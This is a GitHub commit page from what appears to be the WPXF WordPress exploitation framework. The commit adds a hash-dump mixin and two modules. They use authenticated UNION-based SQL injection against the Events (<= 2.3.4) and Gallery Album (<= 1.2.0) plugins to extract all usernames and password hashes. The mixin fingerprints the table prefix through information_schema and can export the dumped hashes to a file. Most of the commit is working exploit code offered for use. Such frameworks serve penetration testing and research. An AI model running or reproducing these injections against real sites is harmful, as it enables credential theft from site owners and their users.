Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 4272d84

Browse files
committed
Merge branch 'hashdump_mixin' into development
2 parents 2aeedf2 + 7b3ecf3 commit 4272d84

11 files changed

+669
-83
lines changed

lib/wpxf/core.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -75,5 +75,6 @@ def self.change_stdout_sync(enabled)
7575
require 'wpxf/wordpress/shell_upload'
7676
require 'wpxf/wordpress/file_download'
7777
require 'wpxf/wordpress/comments'
78+
require 'wpxf/wordpress/hash_dump'
7879

7980
require 'wpxf/core/module'

lib/wpxf/utility/text.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,12 @@ module Utility
88
module Text
99
# Generate a random numeric string.
1010
# @param length [Integer] the number of characters to include.
11+
# @param allow_leading_zero [Boolean] if set to true, will allow a number starting with zero.
1112
# @return [String] a random numeric string.
12-
def self.rand_numeric(length)
13-
Array.new(length) { [*'0'..'9'].sample }.join
13+
def self.rand_numeric(length, allow_leading_zero = false)
14+
value = Array.new(length) { [*'0'..'9'].sample }.join
15+
value[0] = [*'1'..'9'].sample unless allow_leading_zero
16+
value
1417
end
1518

1619
# Generate a random alphanumeric string.

lib/wpxf/wordpress/hash_dump.rb

Lines changed: 239 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,239 @@
1+
# frozen_string_literal: true
2+
3+
# Provides reusable functionality for hash dump modules.
4+
module Wpxf::WordPress::HashDump
5+
include Wpxf
6+
7+
def initialize
8+
super
9+
10+
@info[:desc] = 'This module exploits an SQL injetion vulnerability to generate a dump of all the user hashes in the database.'
11+
12+
register_options([
13+
StringOption.new(
14+
name: 'export_path',
15+
desc: 'The file to save the hash dump to',
16+
required: false
17+
)
18+
])
19+
end
20+
21+
# @return [String] the path to export the hash dump to.
22+
def export_path
23+
return nil if normalized_option_value('export_path').nil?
24+
File.expand_path normalized_option_value('export_path')
25+
end
26+
27+
# @return [Boolean] returns true if only one row of the SQL query will be displayed per request.
28+
def reveals_one_row_per_request
29+
false
30+
end
31+
32+
# @return [String] a unique SQL select statement that can be used to extract the hashes.
33+
def hashdump_sql_statement
34+
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
35+
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{eof_token})"
36+
37+
query = "select #{cols.join(',')} from #{table_prefix}users"
38+
return query unless reveals_one_row_per_request
39+
40+
"#{query} limit #{current_row},1"
41+
end
42+
43+
# @return [String] a unique SEL select statement that can be used to fingerprint the database prefix.
44+
def hashdump_prefix_fingerprint_statement
45+
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
46+
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,table_name,0x3a,#{eof_token})"
47+
48+
query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()"
49+
return query unless reveals_one_row_per_request
50+
51+
"#{query} limit #{current_row},1"
52+
end
53+
54+
# @return [Integer] the zero-based index of the column which is visible in the response output.
55+
def hashdump_visible_field_index
56+
0
57+
end
58+
59+
# @return [Integer] the number of columns in the vulnerable SQL statement.
60+
def hashdump_number_of_cols
61+
1
62+
end
63+
64+
# @return [Symbol] the HTTP method to use when requesting the hash dump.
65+
def hashdump_request_method
66+
:get
67+
end
68+
69+
# @return [Hash] the parameters to be used when requesting the hash dump.
70+
def hashdump_request_params
71+
nil
72+
end
73+
74+
# @return [Hash, String] the body to be used when requesting the hash dump.
75+
def hashdump_request_body
76+
nil
77+
end
78+
79+
# @return [String] the URL of the vulnerable page.
80+
def vulnerable_url
81+
nil
82+
end
83+
84+
# @return [String] the table prefix determined by the module.
85+
def table_prefix
86+
@table_prefix
87+
end
88+
89+
# Run the module.
90+
# @return [Boolean] true if successful.
91+
def run
92+
return false unless super
93+
94+
generate_id_tokens
95+
96+
@current_row = 0
97+
emit_info 'Determining database prefix...'
98+
return false unless determine_prefix
99+
emit_success "Found prefix: #{table_prefix}", true
100+
101+
@current_row = 0
102+
emit_info 'Dumping user hashes...'
103+
hashes = dump_and_parse_hashes
104+
output_hashdump_table(hashes)
105+
106+
export_hashes(hashes) if export_path
107+
true
108+
end
109+
110+
private
111+
112+
def bof_token
113+
@bof_token
114+
end
115+
116+
def eof_token
117+
@eof_token
118+
end
119+
120+
def current_row
121+
@current_row
122+
end
123+
124+
def execute_hashdump_request
125+
res = execute_request(
126+
method: hashdump_request_method,
127+
url: vulnerable_url,
128+
params: hashdump_request_params,
129+
body: hashdump_request_body,
130+
cookie: session_cookie
131+
)
132+
133+
return false unless res&.code == 200
134+
res
135+
end
136+
137+
def dump_and_parse_hashes
138+
unless reveals_one_row_per_request
139+
res = execute_hashdump_request
140+
return parse_hashdump_body(res.body)
141+
end
142+
143+
eof = false
144+
hashes = []
145+
146+
until eof
147+
res = execute_hashdump_request
148+
break unless res.body.match?(/#{bof_token}\:(.*?)\:#{eof_token}/)
149+
150+
hash = parse_hashdump_body(res.body)
151+
hashes.push([hash[0][0], hash[0][1]]) if hash
152+
@current_row += 1
153+
end
154+
155+
hashes
156+
end
157+
158+
def build_prefix_request_body
159+
body = hashdump_request_body
160+
unless body.nil?
161+
if body.is_a?(Hash)
162+
body.each do |k, v|
163+
body[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
164+
end
165+
else
166+
body.gsub!(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
167+
end
168+
end
169+
170+
body
171+
end
172+
173+
def build_prefix_request_params
174+
params = hashdump_request_params
175+
176+
params&.each do |k, v|
177+
params[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
178+
end
179+
180+
params
181+
end
182+
183+
def determine_prefix
184+
body = build_prefix_request_body
185+
params = build_prefix_request_params
186+
187+
res = execute_request(
188+
method: hashdump_request_method,
189+
url: vulnerable_url,
190+
params: params,
191+
body: body,
192+
cookie: session_cookie
193+
)
194+
195+
return nil unless res&.code == 200
196+
197+
# If the prefix is found, regardless of the row mode, return it.
198+
@table_prefix = res.body[/#{bof_token}\:([^:]+?)usermeta\:#{eof_token}/, 1]
199+
return @table_prefix if @table_prefix
200+
return nil unless reveals_one_row_per_request
201+
202+
# If the bof and eof tokens weren't found at all, there are no more rows available.
203+
return nil unless res.body.match?(/#{bof_token}\:(.*?)\:#{eof_token}/)
204+
205+
# If the tokens were found, then we can try to query another row.
206+
@current_row += 1
207+
determine_prefix
208+
end
209+
210+
def output_hashdump_table(hashes)
211+
rows = []
212+
rows.push(user: 'Username', hash: 'Hash')
213+
hashes.each do |pair|
214+
rows.push(user: pair[0], hash: pair[1])
215+
end
216+
217+
emit_table rows
218+
end
219+
220+
def export_hashes(hashes)
221+
open(export_path, 'w') do |f|
222+
hashes.each do |pair|
223+
f.puts "#{pair[0]}:#{pair[1]}"
224+
end
225+
end
226+
227+
emit_success "Saved dump to #{export_path}"
228+
end
229+
230+
def parse_hashdump_body(body)
231+
pattern = /#{bof_token}\:(.+?)\:(.+?)\:#{eof_token}/
232+
body.scan(pattern)
233+
end
234+
235+
def generate_id_tokens
236+
@eof_token = Utility::Text.rand_numeric(10)
237+
@bof_token = Utility::Text.rand_numeric(10)
238+
end
239+
end

modules/auxiliary/events_hash_dump.rb

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Auxiliary::EventsHashDump < Wpxf::Module
4+
include Wpxf::WordPress::HashDump
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Events <= 2.3.4 Authenticated Hash Dump',
11+
desc: %(
12+
Events <= 2.3.4 contains an SQL injection vulnerability
13+
which can be leveraged by all registered users with the permission
14+
to manage events via the plugin. This module utilises this vulnerability
15+
to dump the hashed passwords of all users in the database.
16+
),
17+
author: [
18+
'Lenon Leite', # Disclosure
19+
'Rob Carr <rob[at]rastating.com>' # WPXF module
20+
],
21+
references: [
22+
['WPVDB', '8954'],
23+
['URL', 'http://lenonleite.com.br/en/blog/2017/11/03/wp-events-2-3-4-wordpress-plugin-sql-injetcion/']
24+
],
25+
date: 'Nov 03 2017'
26+
)
27+
end
28+
29+
def check
30+
check_plugin_version_from_readme('wp-events', '2.3.5')
31+
end
32+
33+
def requires_authentication
34+
true
35+
end
36+
37+
def reveals_one_row_per_request
38+
true
39+
end
40+
41+
def hashdump_request_params
42+
{
43+
'page' => 'wp-events-edit',
44+
'edit_event' => "-#{Utility::Text.rand_numeric(3)} UNION #{hashdump_sql_statement} #"
45+
}
46+
end
47+
48+
def hashdump_visible_field_index
49+
1
50+
end
51+
52+
def hashdump_number_of_cols
53+
14
54+
end
55+
56+
def vulnerable_url
57+
normalize_uri(wordpress_url_admin, 'admin.php')
58+
end
59+
end
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Auxiliary::GalleryAlbumHashDump < Wpxf::Module
4+
include Wpxf::WordPress::HashDump
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Responsive Image Gallery, Gallery Album <= 1.2.0 Authenticated Hash Dump',
11+
desc: %(
12+
Responsive Image Gallery, Gallery Album <= 1.2.0 contains an SQL injection vulnerability
13+
which can be leveraged by all registered users with the permission
14+
to manage the plugin settings. This module utilises this vulnerability
15+
to dump the hashed passwords of all users in the database.
16+
),
17+
author: [
18+
'Manuel Garcia Cardenas', # Disclosure
19+
'Rob Carr <rob[at]rastating.com>' # WPXF module
20+
],
21+
references: [
22+
['WPVDB', '8907'],
23+
['CVE', '2017-14125'],
24+
['URL', 'http://seclists.org/fulldisclosure/2017/Sep/55']
25+
],
26+
date: 'Sep 22 2017'
27+
)
28+
end
29+
30+
def check
31+
check_plugin_version_from_readme('gallery-album', '1.2.1')
32+
end
33+
34+
def requires_authentication
35+
true
36+
end
37+
38+
def reveals_one_row_per_request
39+
true
40+
end
41+
42+
def hashdump_request_params
43+
{
44+
'page' => 'wpdevart_gallery_themes',
45+
'task' => 'add_edit_theme',
46+
'id' => "-#{Utility::Text.rand_numeric(3)} UNION #{hashdump_sql_statement}--"
47+
}
48+
end
49+
50+
def hashdump_visible_field_index
51+
1
52+
end
53+
54+
def hashdump_number_of_cols
55+
4
56+
end
57+
58+
def vulnerable_url
59+
normalize_uri(wordpress_url_admin, 'admin.php')
60+
end
61+
end

0 commit comments

Comments
 (0)